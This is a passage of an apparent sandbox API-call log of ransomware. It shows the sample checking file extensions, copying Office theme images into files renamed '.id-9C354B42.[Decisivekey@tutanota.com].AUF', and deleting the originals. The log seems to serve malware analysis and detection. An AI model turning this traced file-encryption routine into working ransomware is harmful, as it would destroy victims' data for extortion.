(lpString=".ppt") returned 4 [0213.611] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0213.611] lstrlenW (lpString=".zip") returned 4 [0213.611] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.611] lstrlenW (lpString=".rar") returned 4 [0213.611] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.611] lstrlenW (lpString=".bz2") returned 4 [0213.611] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.611] lstrlenW (lpString=".7z") returned 3 [0213.611] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0213.611] lstrlenW (lpString=".dbf") returned 4 [0213.611] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0213.611] lstrlenW (lpString=".1cd") returned 4 [0213.611] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0213.611] lstrlenW (lpString=".jpg") returned 4 [0213.612] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0213.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0213.612] lstrlenW (lpString=".doc") returned 4 [0213.612] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.612] lstrlenW (lpString=".docx") returned 5 [0213.612] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.612] lstrlenW (lpString=".pdf") returned 4 [0213.612] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.612] lstrlenW (lpString=".xls") returned 4 [0213.612] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.612] lstrlenW (lpString=".xlsx") returned 5 [0213.612] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.612] lstrlenW (lpString=".ppt") returned 4 [0213.612] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0213.612] lstrlenW (lpString=".zip") returned 4 [0213.612] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.612] lstrlenW (lpString=".rar") returned 4 [0213.612] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.612] lstrlenW (lpString=".bz2") returned 4 [0213.612] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.612] lstrlenW (lpString=".7z") returned 3 [0213.612] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0213.612] lstrlenW (lpString=".dbf") returned 4 [0213.612] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0213.612] lstrlenW (lpString=".1cd") returned 4 [0213.612] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0213.612] lstrlenW (lpString=".jpg") returned 4 [0213.612] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.612] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.612] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0213.613] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=4100) returned 1 [0213.613] CloseHandle (hObject=0x184) returned 1 [0213.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0213.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0213.613] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.613] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0213.634] GetLastError () returned 0x0 [0213.634] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1004, lpOverlapped=0x0) returned 1 [0213.674] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1010, lpOverlapped=0x0) returned 1 [0213.674] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.675] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.675] SetEndOfFile (hFile=0x220) returned 1 [0213.675] CloseHandle (hObject=0x220) returned 1 [0213.675] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.675] SetEndOfFile (hFile=0x184) returned 1 [0213.675] CloseHandle (hObject=0x184) returned 1 [0213.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.676] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1 [0213.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0213.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0213.676] lstrlenW (lpString=".doc") returned 4 [0213.676] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.676] lstrlenW (lpString=".docx") returned 5 [0213.676] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.676] lstrlenW (lpString=".pdf") returned 4 [0213.676] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.676] lstrlenW (lpString=".xls") returned 4 [0213.676] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.676] lstrlenW (lpString=".xlsx") returned 5 [0213.676] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.676] lstrlenW (lpString=".ppt") returned 4 [0213.676] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0213.676] lstrlenW (lpString=".zip") returned 4 [0213.676] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.676] lstrlenW (lpString=".rar") returned 4 [0213.676] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.676] lstrlenW (lpString=".bz2") returned 4 [0213.676] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.676] lstrlenW (lpString=".7z") returned 3 [0213.676] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0213.676] lstrlenW (lpString=".dbf") returned 4 [0213.676] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0213.676] lstrlenW (lpString=".1cd") returned 4 [0213.676] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0213.677] lstrlenW (lpString=".jpg") returned 4 [0213.677] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0213.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0213.677] lstrlenW (lpString=".doc") returned 4 [0213.677] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.677] lstrlenW (lpString=".docx") returned 5 [0213.677] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.677] lstrlenW (lpString=".pdf") returned 4 [0213.677] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.677] lstrlenW (lpString=".xls") returned 4 [0213.677] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.677] lstrlenW (lpString=".xlsx") returned 5 [0213.677] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.677] lstrlenW (lpString=".ppt") returned 4 [0213.677] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0213.677] lstrlenW (lpString=".zip") returned 4 [0213.677] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.677] lstrlenW (lpString=".rar") returned 4 [0213.677] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.677] lstrlenW (lpString=".bz2") returned 4 [0213.677] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.677] lstrlenW (lpString=".7z") returned 3 [0213.677] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0213.677] lstrlenW (lpString=".dbf") returned 4 [0213.677] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0213.677] lstrlenW (lpString=".1cd") returned 4 [0213.677] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0213.677] lstrlenW (lpString=".jpg") returned 4 [0213.677] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.677] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.677] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0213.712] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=47962) returned 1 [0213.712] CloseHandle (hObject=0x184) returned 1 [0213.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0213.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0213.712] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.712] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0213.713] GetLastError () returned 0x0 [0213.713] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xbb5a, lpOverlapped=0x0) returned 1 [0213.726] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xbb60, lpOverlapped=0x0) returned 1 [0213.727] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.727] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.727] SetEndOfFile (hFile=0x220) returned 1 [0213.727] CloseHandle (hObject=0x220) returned 1 [0213.727] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.727] SetEndOfFile (hFile=0x184) returned 1 [0213.728] CloseHandle (hObject=0x184) returned 1 [0213.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.728] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 1 [0213.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0213.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0213.729] lstrlenW (lpString=".doc") returned 4 [0213.729] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.729] lstrlenW (lpString=".docx") returned 5 [0213.729] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.729] lstrlenW (lpString=".pdf") returned 4 [0213.729] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.729] lstrlenW (lpString=".xls") returned 4 [0213.729] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.729] lstrlenW (lpString=".xlsx") returned 5 [0213.729] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.729] lstrlenW (lpString=".ppt") returned 4 [0213.729] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0213.729] lstrlenW (lpString=".zip") returned 4 [0213.729] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.729] lstrlenW (lpString=".rar") returned 4 [0213.729] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.729] lstrlenW (lpString=".bz2") returned 4 [0213.729] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.729] lstrlenW (lpString=".7z") returned 3 [0213.729] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0213.729] lstrlenW (lpString=".dbf") returned 4 [0213.729] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0213.729] lstrlenW (lpString=".1cd") returned 4 [0213.729] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0213.729] lstrlenW (lpString=".jpg") returned 4 [0213.729] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0213.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0213.729] lstrlenW (lpString=".doc") returned 4 [0213.729] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.729] lstrlenW (lpString=".docx") returned 5 [0213.729] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.729] lstrlenW (lpString=".pdf") returned 4 [0213.729] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.729] lstrlenW (lpString=".xls") returned 4 [0213.729] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.729] lstrlenW (lpString=".xlsx") returned 5 [0213.729] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.729] lstrlenW (lpString=".ppt") returned 4 [0213.729] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0213.729] lstrlenW (lpString=".zip") returned 4 [0213.729] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.729] lstrlenW (lpString=".rar") returned 4 [0213.729] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.729] lstrlenW (lpString=".bz2") returned 4 [0213.730] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.730] lstrlenW (lpString=".7z") returned 3 [0213.730] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0213.730] lstrlenW (lpString=".dbf") returned 4 [0213.730] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0213.730] lstrlenW (lpString=".1cd") returned 4 [0213.730] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0213.730] lstrlenW (lpString=".jpg") returned 4 [0213.730] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.730] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.730] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0213.989] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=34163) returned 1 [0213.989] CloseHandle (hObject=0x204) returned 1 [0213.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0213.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0213.989] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.989] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0213.990] GetLastError () returned 0x0 [0213.990] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x8573, lpOverlapped=0x0) returned 1 [0214.011] WriteFile (in: hFile=0x214, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x8580, lpOverlapped=0x0) returned 1 [0214.013] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.013] WriteFile (in: hFile=0x214, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0214.013] SetEndOfFile (hFile=0x214) returned 1 [0214.013] CloseHandle (hObject=0x214) returned 1 [0214.013] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.013] SetEndOfFile (hFile=0x204) returned 1 [0214.014] CloseHandle (hObject=0x204) returned 1 [0214.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.014] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1 [0214.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0214.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0214.015] lstrlenW (lpString=".doc") returned 4 [0214.015] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0214.015] lstrlenW (lpString=".docx") returned 5 [0214.015] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0214.015] lstrlenW (lpString=".pdf") returned 4 [0214.015] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0214.015] 